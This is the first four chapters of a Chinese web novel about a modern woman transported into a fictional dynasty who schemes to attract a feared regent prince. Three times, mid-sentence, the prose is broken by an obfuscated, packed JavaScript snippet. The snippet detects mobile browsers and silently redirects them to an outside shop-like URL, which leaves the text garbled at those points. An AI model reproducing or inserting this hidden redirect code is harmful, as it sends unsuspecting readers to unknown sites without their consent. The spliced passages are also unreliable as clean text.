《从治愈摄政王隐疾开始飞升》 1. 第 1 章 咚——咚—咚 一长两短,梆子敲了三下。 三更,午夜十一点,万籁俱寂。 时毓还醒着。 穿到这个完全陌生的朝代三个多月了,她刚适应了日落而息没几天,今夜又失眠了。 白日里发生了两件事令她辗转反侧。 一则,主家徐员外又对她动手动脚了,虽则她再次侥幸逃脱,可显然,只要她还留在徐府,想来终有一天难逃这老色胚的魔爪。 就算她忍辱从了,也不能就此高枕无忧——徐太太善妒,不容徐员外纳妾,府里凡是有胆‘勾引’老头儿的,有一个杀一个,据说后院原来有口井,扔进去的人太多了,实在塞不下,只好填上了。 总之徐府不能久待,可是离开这儿,时毓却不知如何谋生。 穿来以前,她是个平平无奇的保险销售,凭一张能说会道的嘴养活自己,虽赚得不多,却能跟这个时代的千金大小姐一般,过着十指不沾阳春水的生活——出门就打车,饿了点外卖,打扫叫保洁! 因为生在一个平等发达的年代,即便四体不勤五谷不分,也没人嫌弃,偶尔有一两个催婚的,两句话就能怼回去,总之是,未婚未育挺平安,自在逍遥没人管。 穿来以后——很不幸,和别的幸运女神不同,她没有穿到贵妇人的肚子里,也没有穿进名门千金的身体里,而是以她自己本来的身体穿到了这个,史书上从没记载过的封建时代,大虞朝。 在这里,她无依无靠没身份,历史知识派不上用场,肩不能抗手不能提,偏又有几分姿色,走在大街上就像饿鬼眼中的烧鸡,财迷眼中的金块,色胚眼中的裸女……还是无主的! 别说赚钱养活自己,就连打个瞌睡都有万劫不复的危险。 凭一张三寸不烂之舌把自己卖到徐府做奴之前,有好几次,她差点被地痞强爆。 当下的情况虽比刚穿来的时候好点,但也好不到哪里去。留不能留,走也不能走,时毓一想起来心绪如麻。 二则,她终于知道了徐员外买她的原因——霁王爷三月南下巡视各郡,不几日将经过此地,有可能会在徐府落脚。 徐员外是霁王爷的二舅爷的小舅子的连襟,当了多年员外,想尝尝‘员内’的滋味,所以想借此机会好好巴结巴结霁王爷。 提起这位王爷,员外府每个人都能说上几句,连倒夜壶的哑巴,都会两眼放光的比划比划。 在这信息闭塞、远离帝京的南方小城,大多数人连皇帝的年号都说不清,却对霁王轶事如数家珍,足见其声威显赫。 他是先帝幼弟、当今圣上的亲叔父。原受封于北地康州,是为康王。五年前先帝病重,南方豪族趁机举兵叛乱,不出数月便占据大半江山。频传的败讯如同催命符,很快先帝便在忧愤中驾崩,仅留下几位年幼的皇子和一片破碎山河。 危亡之际,是霁王星夜疾驰率军回京,拥立小皇帝登基,继而亲征南下,以雷霆之势击溃叛军。据说他曾在战场上身受重伤、命悬一线,休养了近两年才康复。 之后为稳朝局、安民心,小皇帝将他留于京中,加封霁王,授摄政之权。 这几年来,虞朝渐复元气,政通人和,百姓皆念其恩德——尤其是长期受世家豪族欺压的南方百姓。 时毓所在的郡县,正是昔日南方门阀盘踞的重镇。曾几何时,四大门阀一手遮天,壅塞仕途,寒门子弟永无出头之日。 而如今,那煊赫百年的门阀已被霁王连根拔起、诛戮殆尽,再不能作威作福。 正因如此,街头巷尾,无人不谈论他。 百姓们感念他肃清豪强、再造乾坤的贤德,也同样畏惧他那斩草除根的雷霆手段。他对叛军冷酷彻底的镇压,对门阀毫不留情的清算,无不令天下人胆寒。 人们敬他、怕他,却也……忍不住垂涎他。 这垂涎,源于一个香艳又危险的传说:说他姿容绝世,俊美得不似凡人,战场上曾有敌兵因贪看他的容颜而恍惚失神,最终束手就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16576554|187132||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 擒。 一位既能执掌生杀予夺、又拥有倾世之貌的摄政王,仿佛集天神与修罗于一身。他享尽人间尊荣,也隔绝于万千尘嚣之外。 这样的人物,自然高不可攀,难以巴结。 但他也并非没有遗憾——举朝皆知,霁王成婚多年,妻妾不少,却至今未有子嗣。 徐员外恰恰看准了这一点,陆续买进十几名胸丰臀圆、看似宜生养的姑娘,精心调教,打算进献霁王,指望其中一人能撞上大运、怀上麟儿,也好带携自己鸡犬升天。 时毓,便是这“后备生子军团”中的一员。 得知此事,她心情复杂。 倒不是因被当作货物献人而难受,也不是因可能被贵人当成萝卜青菜一般挑拣而委屈,而是…… 若不是今日有位后备军团成员酸她,她压根不知道这事儿! 那姑娘讥笑道:“毓姐姐,你年纪这么大了,该不会早就嫁过人了吧?霁王爷何等金贵,岂会碰不干净的女人?我劝你还是老实巴结老员外,争取留在徐府罢!” 她这才恍然大悟! 敢情徐员外放着这些个豆蔻年华、嫩的可口的小丫头不染指,偏偏对她下手,不是因为她身上独特的半熟气质(啊呸),而是因为她们都是留给霁王爷的,只有她是这死老头假公济私,买回来准备自己享用的! 时毓简直不能更心塞了。 虽然漫漫选美路也不好走,却不是一点机会都没有,倘若当真能榜上霁王爷这个大靠山,日后起码生存无忧,毕竟人家霁王妃是个大度的,家里成群的妾都接受了,应该不会只对她赶尽杀绝。 而留在徐府可就是死路一条了! 听说徐太太的远房表兄是本地衙门的二掌柜,自家妹妹杀个奴,那还不是睁一只眼闭一只眼? 念及此,时毓脊背一凉,一个激灵坐了起来。 生死面前,节操脸面什么都是小事。 她想明白了,不管用什么手段,一定要榜上霁王爷! 2. 第 2 章 承乾五年三月初八,是霁王架临晋陵郡的日子。 然而天公不作美,一大早便有些阴霾,到了晌午,刮起大风,仍不见云开,乌云反而越积越厚,似乎正在酝酿一场大雨。而本该巳时到达的霁王銮驾,也迟迟未到。 晋陵太守张巨卿携一众官员在码头上迎驾,看着黑压压的天空和岸边随风狂舞的杨柳,对身边人道:“焕文,看样子东边已经下起来了,河上必是风急雨大,王爷船队亦是东来,恐受风雨所阻。他们皆北人,不习水性,我等是否该遣舟前去迎候一二?” 郡丞杨焕文环抱着胳膊上下搓了搓——三月是乍暖还寒时,昨日还是春天,一场雨便能回到冬天。谁也未料今日会变天,众人皆衣衫单薄,运河边的风裹着水汽,直往骨头缝里钻,等候多时,几乎浑身僵麻。 他拧眉望着空茫的江面,低声抱怨:“迎甚么迎?这个时辰未至,保不齐早在前头的避尘县泊岸了。” 言罢,他朝张巨卿凑近半步,嗓音压得更低:“那位虽是北人,可当年亲率虎狼之师跨江而来,将盘踞江南、精通水战的世家门阀连根铲尽,这点风浪于他,算得了什么?” 张巨卿瞪他一眼,声音几不可闻:“若非他将南方门阀屠戮殆尽,这太守、郡丞之位,焉能轮到你我这般寒门出身之人?” 杨焕文笑道:“属下对霁王的再造之恩自然感激不尽,不过也是实话实说嘛。霁王此次南巡,要走遍江南东道六郡,且全走水路,若没有乘风破浪的底气,哪会这般安排?总之,行船无需你我操心,我们只需钉在此处,顶风冒雨寸步不离,让王爷看到我们的忠心即可。” “言之有理。传本官话下去,就是天上下刀子,也得在这儿候着。王驾不来,一个也不许退。” “除非有人送信来说他们已在避尘县靠岸,今日不来了。”杨焕文笑着去传话,传完回来,又苦着脸对上司说:“我方才想起来,避尘县县令老曹极不靠谱。若霁王果真在他那里上岸,恐怕难以接待周全,他也想不起来给咱们送信……” 曹县令之前是避尘县的狱卒,之前给犯人们送完饭经常忘记锁门,致使许多犯人越狱。上官问起,他便都报暴毙了事。犯人们以为他故意放水,对他感恩戴德。后来霁王率军杀来,他振臂一呼,群雄响应,杀了县官,加入王军,为讨伐门阀立下战功,这才当了这个县令。 张巨卿从前在太守府当主簿,只负责文书工作,对此等胥吏自是不熟。上任后又忙于百废待兴的郡务,尚未及细细考察属下每一个县令。此刻听闻,脊背不由一绷,当即决断:“速派快船,沿运河往东探去,务必探明王驾究竟到了何处!” 命令刚下达,一个身形富态之人便自队伍末尾踱步上前,拱手问道:“张大人,眼看大雨将至,为免王爷圣体受淋,是否该早做绸缪?” 他虽位列迎驾队伍之中,却未着官服,一身簇新的绫罗绸缎华光夺目,头上簪着羊脂白玉,腰束一掌宽的软金嵌宝带,通身的富贵气几乎要刺痛旁人的眼。其面庞肥腻,泛着油光,肤色异于常人的黑黄,反倒白里透红,竟似画中仕女般细腻。 然而旁人看他的眼神,却和看姑娘截然相反,厌恶里透着鄙夷,鄙夷里透着提防。 缘由无他:一来,此人并无朝廷册封的正式官身,只是个编外人员;二来,他姓徐,出自昔日江南四大门阀之一的徐氏。徐家乃江南巨富,曾出过一位贵妃、两位王妃,门下子弟、故吏遍布朝野,正是五年前起兵叛乱的魁首之一。 照理,这位徐员外本该与其族人一样,殒命于霁王的铁蹄之下,他却成了寥寥无几的漏网之鱼。 多数人猜测他凭的是与霁王那八竿子打不着的些许姻亲关系,实则大谬。真相是,在霁王大军久攻江南要塞不下之际,他暗中献上了至关重要的城防图。 换言之,他是以全族鲜血为投名状,换得自身苟活,并妄图以此换取进身之阶。 若让这等卖族求荣之徒掌了实权,晋陵官场只怕比之门阀当道时,更要污浊三分。 绝不能让他讨好霁王! 郡丞笑着拍拍他的肩膀:“徐员外真不愧是高门大户出来的,见识就是不凡,想得可真周到啊。” 徐员外听得出他的讥讽,仍旧好脾气地笑着:“哪里哪里,老朽只怕霁王淋了雨,怪罪下来,会让大人们受罚。” “那我们都得谢谢徐员外。”郡丞和同僚们交换了个意味深长的眼神,齐齐给他作揖。 徐员外见他们如此敷衍,便转向太守:“张大人,从前先帝南巡驾临此地,老朽曾有幸观礼。彼时前太守命人以百匹杭缎,自船舱出口至御辇停驻之处,搭起一道长长的步障,其内铺陈毡毯,两侧以金钩挽起。先帝下御舟,登銮驾,一路行来,纤尘不染,未受丝毫日晒风吹,龙心大悦,对前太守赞赏有加。霁王虽非帝王,尊驾亦非同寻常,若在此处没有受到应有的尊崇体贴,反而淋了雨,不知该做何想。” 那次接待张巨卿也参与了,那绵延数十丈的锦缎长廊,皆经他之手采买支应,其间耗银几何、靡费多少,没有人比他更清楚。 那白花花的银子,足以让一县百姓饱食旬月之久。 此事在他心中烙下深印,使他对此等劳民伤财的排场深恶痛绝。他既不屑效仿前太守那般奴颜媚上,更坚信为官一任,所求当是为君王分忧,造福一方百姓,而非只做表面功夫。 就任五载,霁王在他奏疏上的批复,字字皆透着务实真切。初任时,他曾试着学前任模样,在奏报中堆砌阿谀之词、粉饰地方太平,却屡屡遭霁王严词申斥。直到后来,他放下虚饰,遇事便据实禀报,即便坦陈施政困惑,霁王也总以包容之心相待,还会细细予以指导。 这般相处,让张巨卿愈发笃定:这位权倾朝野的摄政王,最厌虚浮,唯重实效。 他断定,若以逢迎先帝的方式来接待霁王,非但不能讨得好去,反而是将马屁拍在了马腿上。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16576555|187132||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “依你之见,应该如何准备?” 徐员外道:“至少需以油布搭出一条廊道,连通船舱与车驾。地面本应铺设架空木台以防泥水漫漶,然事急从权,以青砖代替亦可,只是需要多铺几层。” 油布乃绸绢浸桐油所制,价比寻常绸缎更昂。一件油布做的雨衣够一个五口之家嚼用一冬,往常只有官员和贵族才能用得起,而张巨卿生性节俭,即便做了太守,也未舍得置办一件。让他用如此昂贵的油布搭建一条廊道,就等于生割其肉,便是他舍得,整个晋陵郡只怕也找不到这么多油布。 哦,徐员外既敢开口,想必早已暗中备齐此物,只等此刻献宝。 但张巨卿不肯让他讨好霁王。 他哼笑道:“王爷曾亲临战场,岂是那等淋不得雨、沾不得泥的柔弱书生?本官已备好斗笠蓑衣,待王驾一到,便亲自奉至船上。下船登车,不过数步之遥,淋不了几滴雨。” 斗笠蓑衣? 这两样东西粗笨沉重不说,根本挡不住疾风骤雨,穿上了反倒拖累行动,湿漉漉地贴在身上,比直接淋雨还要难受,连本员外都不屑用,也配呈到王爷面前? 亏你想得出! 徐员外嘴角一抽,耐着性子劝道:“大人此言,请恕老朽不敢苟同。王爷能否吃苦、是否愿吃苦,是一回事;而我等臣子是否尽到了臣子本分,是另一回事。南方诸郡是王爷亲手打下的江山,他此番巡视,既要看民生恢复情况,更要看诸郡官员对朝廷是否心存敬畏。王爷如今贵为摄政王,在帝京何等尊荣,南巡沿途必是处处周全。若独独到了晋陵地界,竟让王爷冒着大雨踏泥而行,难免有小人进谗,说晋陵官员心存怨望,故意怠慢!” 张巨卿斜睨着他,冷笑道:“本官以为,这样的小人,五年前早已被王军杀尽了。若有漏网之鱼,本官绝不放过。” 徐员外噤若寒蝉,默默退回队伍最后,边走边想:罢了,跟你这样的穷酸抠门货说不清楚,没有你的敷衍,哪能衬托出我徐某人的忠谨用心? 他才刚退回队伍末尾,豆大的雨点便噼里啪啦砸了下来,不一会儿便成瓢泼之势。 众官员慌忙戴上斗笠、披上蓑衣,可脚下的黄泥地早已化作一片沼泽,浑浊的泥浆迅速漫过脚踝,沾满裤管。 张巨卿低头看着自己那双变了色的新靴子,心不断往下沉。 “失算了……”他暗自懊恼,“未料雨势如此狂猛!便是短短几步,也足以湿透鞋袜。王爷对我有提携再造之恩,更是大虞朝的擎天柱石,若因此染了风寒,我如何对得起他?如何向满朝文武和天下百姓交代?” 他的目光扫过身后同样狼狈的属官们,焦虑更甚:“即便王爷体恤,能忍得这般狼狈,可他随行的京官、内侍们呢?难道也让这些帝都来的贵人们一脚泥、一身水地踏过去?现下该如何是好?只盼着霁王已在避尘县靠岸……” 偏在这时,一艘高大的官船破开雨雾,在风浪中摇晃着驶来。 3. 第 3 章 霁王将至,徐府深处,徐员外精挑细选的十二位佳丽正于水榭楼台间进行着最后的排练。 丝竹管弦之声不绝于耳,曼妙舞姿与江南烟雨融为一体。 她们都曾是江南豪族精心豢养的家伎,自小便经受着严苛的调教,一举手一投足皆是风情,一颦一笑俱有章法。 五年前那场席卷江南的浩劫,令她们的旧主灰飞烟灭,也使她们如明珠蒙尘,散落于民间。 此番霁王南巡,给了徐员外是进阶的机会,也给了她们重新‘出道’的机会。 她们将在今晚的接风宴上献艺。 机会仅此一次。 若得霁王青眼,便可一步登天;如若失败,彪悍善妒的徐太太绝不会容她们留在徐府,她们最好的归宿,是被送给官员富绅,然而徐员外叛族求荣,为江南东西道官商不齿,无人愿与之结交,只怕送都送不出去,那么更大的可能,是被发卖至风月之地。 因此,无人敢有丝毫懈怠,皆使出浑身解数,将多年所学的魅人之术演练到极致。 看着她们曼妙的舞姿,听着她们天籁般的歌声,时毓觉得,徐员外将她排除在在献艺名单之外,大概可能也不全是私心,而是她拿不太出手…… 十二佳丽的专业素养不比现代的爱豆差,而时毓长这么大,连学校的文艺汇演都没参加过。 说到大……她的年龄还那么大! 和水葱般清嫩的她们相比,她就像一颗干巴的洋葱! 她唯一堪可一提的优势,便是发育成熟的体魄——168公分的身高,108斤的体重,一周健身三次的身材,看上去身长体健,透着一种蓬勃的生命力。 而这生命力,在这个时代,恰恰指向了女人最原始的价值:更强的生育潜力。 毕竟徐员外的终极目标,是希望她们能给霁王生下继承人。 思及此,时毓强迫自己冷静下来,摒去浮躁与迷茫,认真筹划‘营销方案’——此番要售卖的,不是保险,是她自己。 两个月前她把自己卖给徐员外时,只需要笑一笑,说上几句地道的洛阳话。 那是因为徐员外看她的第一眼,眼神就发生了微妙的变化。作为一个阅人无数的保险销售,她非常确定,那眼神代表‘这是我的菜!’ 而说洛阳话,则是因为洛阳是大虞朝首都,冒充首都人,能自抬身份,叫他高看几分。 这回就没那么轻松了。 她要面对的,是站在权力之巅、拥有无限选择权的霁王。 全天下不知道有多少像徐员外这种,搜罗天下美人去巴结他的人。这意味着,想要入他的法眼,她不仅要赢过这十二位佳丽,简直是要赢过全天下的美人。 这对时毓是个极大的挑战。 她不禁想起职业生涯中的一次惨败。 从业以来她几乎无往不利,但那次滑铁卢给她造成了极大的心里阴影,一度动摇了她的职业信念。 那位客户几无坚不摧——豪门第三代继承人,才智、修养、容貌与财富俱是顶尖,更让人头疼的是,他已历练得心境成熟,行事云淡风轻。 那时的时毓已是行业翘楚,见惯了形形色色的客户,无论是真心咨询还是借故调情,她总能游刃有余地掌控全场。 唯独面对他,从初次交锋起,她就隐隐落了下风。 人与人之间——尤其男女之间——往往存在一种无形的气场博弈,一旦初遇时被压制,往后便极难扭转。 他们后来维持着一种半生不熟的朋友关系,断断续续往来半年,单子始终没能做成。只因每一次交流,节奏都牢牢握在他的手中。她不知不觉沉浸于他所展现的广阔世界,也承受着自己正被对方忽视和牵引的压力。 她渐渐偏离了初衷,开始希冀一些超越业务的东西,变得患得患失。所幸她很快就意识到,业务可做可不做,没必要搭上自己,于是果断放弃百万佣金,快速抽身。 后来她总结自己的失败,并不是因为对方段位有多高,而是因为对方所展示的财富世界,远比她的世界复杂精彩得多,就像一个是彩色,一个是黑白。 一个色盲,如何能向见识过斑斓世界的人推销颜色的美妙? 这种认知让她不能再自信地面对这种顶级高净值客户。 而霁王的世界,和那位继承人比起来,高了不止一个境界,犹如四维世界之于三维世界。他掌控的不只是财富,还有生死和天下。 可她没有退缩的余地。 不仅不能退,还必须拿下他。 在没有竞争优势的情况下,她迅速拟定了两套策略:上策,合纵连横,与十二佳丽中最具潜力者结盟,互相成就;下策,奇兵致胜,先以非常手段博出位,吸引霁王注意,再兵行险着,自爆穿越人身份,赌一线生机。 这两日,她一直在默默观察,最终将目光锁定在一位名唤季知节的姑娘身上。 她姿容绝色,舞技超群,然眉宇间总笼着一丝若有若无的轻愁,眼神不似旁人那般充满灼热的渴望,反而时常流露出一丝与这激烈竞争格格不入的疏离与倦怠。 这份与众不同的气质,交织成一种欲拒还迎的张力。 时毓决定选她。 趁着季知节休息的间隙,时毓快步上前,递过一方洁净的帕子,真诚赞道:“姑娘的舞姿,真是翩若惊鸿,令人移不开眼。” 知节没有接她的帕子,也没接她的话,淡淡地瞥她一眼,那眼神就像年级第一看倒数第一,而后默默挪开一些,显然无意与她结交。 和这样的小孔雀打交道,不能一直捧着她,不然男的永远是舔狗,女的永远是跟班。 时毓不以为意,从容收回帕子,挪了挪屁股跟过去,在她眼里流露出恼怒并欲起身时,眼疾手快地按住她,快速低声而笃定地说道:“你的舞技确然超群,但恕我直言,你所受的训导与另外那十一人同出一辙。你们的姿态、神韵、乃至取悦人的手段,都太过相似。你的容貌虽美,却也算不得天下第一,没有绝对的优势能够令霁王一见倾心。” 她微微一顿,直视对方那双笼着愁绪的眼眸:“但我可以帮你。让你与众不同。” 季知节微蹙着眉,用熟练的官话轻声质问:“若有你这样的本事,何必来找我?” “尺有所短,寸有所长。”时毓坦然一笑,“你所长正是我所短,而我所擅,或能补你所缺。” “你的目的是什么?” “当然是为了能够傍上霁王这个靠山,好好地活下去。”时毓正色道:“我想与你结盟。我若助你成功,你走时带上我,让我以丫鬟的身份跟着你即可。当然,若我入了霁王的法眼,也会想方设法带着你。这样,我们都能给自己多找一条生路。” “凭你?”季知节悠悠一哂,把目光投向不远处那些姹紫嫣红的佳丽们,虽没明说,意思却再明显不过 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16576556|187132||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' :找你还不如找她们。 时毓道:“我方才不是说过,你们都是一条流水线上出来的,套路都差不多,霁王在京都见过的艺伎成千上万,早就审美疲劳了。如果连你都不能吸引他的目光,她们就更不行了,除非撞大运。与其指望运气,不如指望概率。我是另一种路子,是山珍海味中的一道粗茶淡饭。我成功的概率不如你,但比她们大,所以我是你最好的选择。” 这番话终于挑起了季知节一丝兴趣:“你待如何帮我?你所谓的‘路子’又是怎样?” 时毓露出一个高深莫测的微笑,随即从袖中取出一张折叠齐整的纸笺。 季知节展开,只见其上以潦草丑陋的笔迹写着八句诗: 春江潮水连海平,海上明月共潮生。 滟滟随波千万里,何处春江无月明。 江畔何人初见月,江月何年初照人。 人生代代无穷已,江月年年望相似。 根据时毓的观察,大虞朝所处的时代,应该和唐初差不多,朝廷以诗取士,天下文人竞相研习,吟诗作赋早已融入宴饮、饯别、游冶等日常场景,成了举国追捧的风尚。 若能在迎驾宴上献出一首绝妙好诗,不仅能为盛宴添彩,更易博得霁王青眼。 这十二位佳丽,皆是色艺双绝之辈,或精于歌艺,或擅于舞技。季知节以惊鸿舞姿独占鳌头,唯有一个叫江雪融的姑娘能与她争锋。 江雪融更擅歌唱,嗓音如昆山玉碎,更难得是精通诗文,所唱之词皆出于自家手笔。这份才情赋予她一身清雅的书卷气,眉目流转间,显得比季知节更聪慧灵秀。 或许是因为‘王不见王’,两人关系素来不睦,曾为争抢乐师当众争执。 时毓方才露的一手,恰好能弥补季知节的关键短板,助她稳压姜雪融一头。 季知节眼中的高傲与戒备瞬间褪去,取而代之的是难以掩饰的赞赏,“原来你竟有这般才华。” 时毓想,能即刻品出此诗妙处,足见其腹有诗书。她们这一行果然很卷啊。 文抄公是穿越者的基本操作,时毓堂而皇之的笑纳了她的称赞,淡淡道;“整首诗有九阙,这只是其中两阙,若你能在起舞时,以此诗为歌声情并茂,必定会惊艳四座。” 季知节深以为然,只是有些疑虑:“如果徐员外知道你的才华,也许会送你京都大展宏图,在徐府这段时间你为何深藏不露?” “你太高看徐员外了。”时毓悠悠一叹:“男人这种生物,并不理性你知道吧?他们看女人,永远先看到性价值,所以常常被下半身左右,为了爽一时,不计成本和代价。而徐员外,更是俗人当中的俗人。他喜欢我,所以对他而言,我能带来的其他价值,远不如满足他的情欲更重要。展露出我的才华,只会让他更加纠缠我。因为征服一个有才华的美人,比征服一个普通的美人更有挑战性和成就感。” 季知节似懂非懂,只觉得时毓这人,精明通透、豁达老练,确实比其他人更值得依靠。 她思考了片刻,又问:“你将如此非凡之作给了我,你自己又以何吸引霁王?” “那么,”时毓不答反问,目光紧锁对方,“我们现在是盟友了吗?” 季知节微微颔首,声音轻却肯定:“若我得幸,必带你同行。” “一言为定!”时毓笑道,而后道:“我的路子嘛,可以说和你一样,也可以说和你截然相反。” 4. 第 4 章 雨幕中,那艘大船终于在千呼万唤中驶来,张巨卿精神一振,大喝道:“都打起精神,随本官前去恭迎王驾!” 杨焕文扬手一挥,众人应声涉水向前,直至码头边缘有序跪伏。 雨水混杂着漫涨的河水,早已浸透裤管,寒意刺骨,可此刻谁也无暇顾及,心中唯有紧张与惶恐。 很快,船身靠岸,舷梯缓缓架稳。两名高大侍卫披着雨衣、执着巨伞,簇拥一位气度不凡的男子迈下船来。 雨势滂沱,张巨卿未能辨清他的面容,只瞥见对方衣饰华贵,周身被巨伞遮的严严实实,便知自己准备的斗笠和蓑衣大概是用不上了,便垂首抱拳恭声道:“晋陵太守张巨卿携晋陵官员恭迎王架,王爷千岁千岁千千岁!” 身后一干人等随之附和,洪亮的呼声盖过了风雨,清晰地传到船上。 但他们的恭敬似乎并没有令下船之人满意。 良久无声,唯有雨声潇潇。 正当众人心中忐忑,忍不住偷眼窥望时,一道冷冽的质问自头顶落下: “你们便是如此迎驾的?” 轻飘飘一句,却似有千钧之力,压得众人脊背愈弯,杨焕文的鼻尖几乎触及地上的积水。 张巨卿心跳如鼓,喉头发紧,“微臣安排不周,请王爷降罪责罚。” “让开!” 回应他的只有这么两个字。 张巨卿愣住,一时不知该再三乞罚,还是即刻遵命。 杨焕文扯了扯他飘在水里的袍角,低语提醒:“大人,王爷命我们让开。” 张巨卿慌忙起身,只见方才被簇拥的男子已绕过他们,站在码头上指点吩咐。一名随从领命而去,引着数十名身着轻便雨衣的役工从船上抬下各样物什,井然有序地下船,一言不发地在岸边搭建起来,转眼间一座长廊式的雨棚便初具规模。 “大人,”杨焕文望着雨中那个指挥若定的身影,低语道,“那位应该并不是霁王吧?” 张巨卿也意识到自己认错了人,只因太丢脸,一时不想说话。 直到那男子又从船上下来,他硬着头皮凑上前问道:“请教尊驾官居何职?王驾何时莅临?” 对方冷眼瞥了他一眼,掏出一个帖子扔过去,二话不说绕开他。 张巨卿敢怒不敢言,打开名帖,只见上面写着:南巡礼官,太常寺少卿陆长风。 正在这时,杨焕文捅了捅他的后腰,低声道:“又下来一个。” 只见一位手持羽扇、面如冠玉的长须男子,在侍从的簇拥下从容步下舷梯。疾风骤雨中,他衣袂飘飘,步履从容,竟无半分狼狈之态,宛若仙人临世。 方才的陆长风已是气度不凡,衬得晋陵最出众的青年才俊杨焕文黯然失色。而眼前这位中年男子,又将张巨卿衬得如同山野村夫一般。 他不禁暗想:连随行官员都如此出众,那传闻中姿仪绝世的霁王,又该是何等风采? 他连忙整衣上前欲要行礼,不料对方抢先一步托住他滴着水的胳膊,和声道:“张太守官居四品,下官不过是五品给事中,岂敢受此大礼?” “大人言重了,”张巨卿汗颜道,“下官初次接驾,对诸多规矩流程都不了解,还望……” “曲岳。”对方含笑接言。 张巨卿深深一揖:“还望曲大人多多指教。” 杨焕文自作聪明地从背后塞过一串铜钱,显然是想让他打点曲岳。 张巨卿素来反感行贿受贿,万没料到下属会突然来这么一出,老脸顿时涨得通红。他急忙想要推拒,却因慌乱失手,铜钱咚得一声落入水中。 四周忙碌的役工纷纷侧目,虽未言语,但那似笑非笑的神情已让张巨卿无地自容。 场面一时尴尬极了。 曲岳从容俯身,从水中捞起那串湿漉漉的铜钱递还,动作自然得如同拾起路上遗落的寻常物件。 “张大人初次接驾,生疏在所难免。霁王殿下特意派了这艘先遣船前来相助,正是体恤您的难处。”他羽扇轻指远处正在指挥搭建雨棚的官员,“那位是太常寺礼官陆长风,专司王爷仪仗。这船上六十余人都是他的属从,带着全套仪仗,迎驾时该说什么,如何跪拜,他也会一一指点,既不会令朝廷和殿下失去威仪,亦不会令晋陵官员丢了体面,太守大人只管放心。” 他的神色语气极大地缓解了张巨卿的尴尬。 “殿下此次南巡,只为给江南六郡解决困难,绝不给你们枉增负担。一应人力物资皆从京都带来,太守大人亦不必为此操心。”他又道。 方才陆长风一下船便厉声质问,张巨卿还以为自己犯了不可饶恕的错误,心里着实忐忑难安,听了这番话,心中重负顿消,发自肺腑地感慨:“殿下如此体恤臣下,真是我们做臣子的福,也是江南百姓的福气。” 话虽如此,他们什么都没准备,远道而来的太常寺官员们就得多干活,脸色难免不豫。 杨焕文倒也有眼色,急忙领着本地官吏上前协助,徐员外也吩咐下人备好热汤点心前去慰劳。 张巨卿将曲岳请至观景亭暂避风雨,徐员外亲自奉上茶点。 曲岳初时还含笑以对,待听得对方名号,却骤然敛起笑意,连刚沾唇的茶点也搁置一旁,执起羽扇转身面向运河,再不言语。 徐员外自觉没趣,讪讪退去。 张巨卿原以为曲岳是个八面玲珑的笑面虎,目睹这番变脸,方知此人也有棱角。 待徐员外走远,曲岳便直言不讳:“此等卖族求荣之徒,实不堪为伍。张大人还需远着些。” “曲大人在京中也听说过他?” 羽扇轻摇,曲岳淡淡一笑:“以一己之力倾覆南方四大豪族百年基业,天下谁人不知?南方门阀虽已式微,北方世家却犹在。天下门阀无不恨他,他若敢北进一步,立时便有杀身之祸。凡与之交,必受牵连。” 张巨卿连声称是,目光不经意瞥见船头傲然而立的陆长风,心头蓦地一凛——难怪这位六品礼官气度如此倨傲。康州陆氏乃北方望族,更是霁王勤王平乱的重要臂助。 曲岳说得不错,北方门阀犹在,且因霁王仰仗了他们才灭了南方门阀,他们势头比五年前更盛了。徐员外现在就是块臭狗屎,谁沾上就会倒霉。 可是听完曲岳介绍霁王此行人员情况,张巨卿又觉得一时还远离不了他。 无他,晋陵衙门实在难以独力应对这般阵仗。 霁王此番南巡,麾下竟有一千五百余人,分乘十六艘官船。随行人员包括王府属官、太医署医官、太常寺仪仗等近三百人,更有翊卫府侍卫一千二百名。 别的不说,光是这些侍卫,就轻慢不得。 因为他们都是从三品以上官子孙、五品以上勋官子弟中选拔出来的。 换言之,得罪一个,可能就等于得罪一个大家族。 张巨卿大半辈子生活在门阀的压制下,深知这些豪门望族想要除掉一个寻常官员,比碾死一只蚂蚁还简单。 要招呼好这些人,需要徐员外的财力、人力和经验支持。 眼见雨棚已搭好,迎驾的仪仗也已就位,张巨卿问曲岳:“王驾现在何处,几时能到?” 曲岳道:“殿下所乘龙舟昨日停靠避尘县,原定今晨启程,因掌事女官突发疾病耽搁了半日。殿下吩咐申时备驾,预计酉时便可抵达。” 张巨卿看了眼水钟,见离申时不足一刻,急忙起身。 曲岳摆摆手:“不急不急。龙舟体量庞大,从望见船影至靠岸至少需一刻钟,届时再迎不迟。” 张巨卿还是不敢怠慢,想去找陆长风请教礼仪,但见杨焕文被那高傲的礼官训得左右不是,像个无头苍蝇似的乱转,又坐下 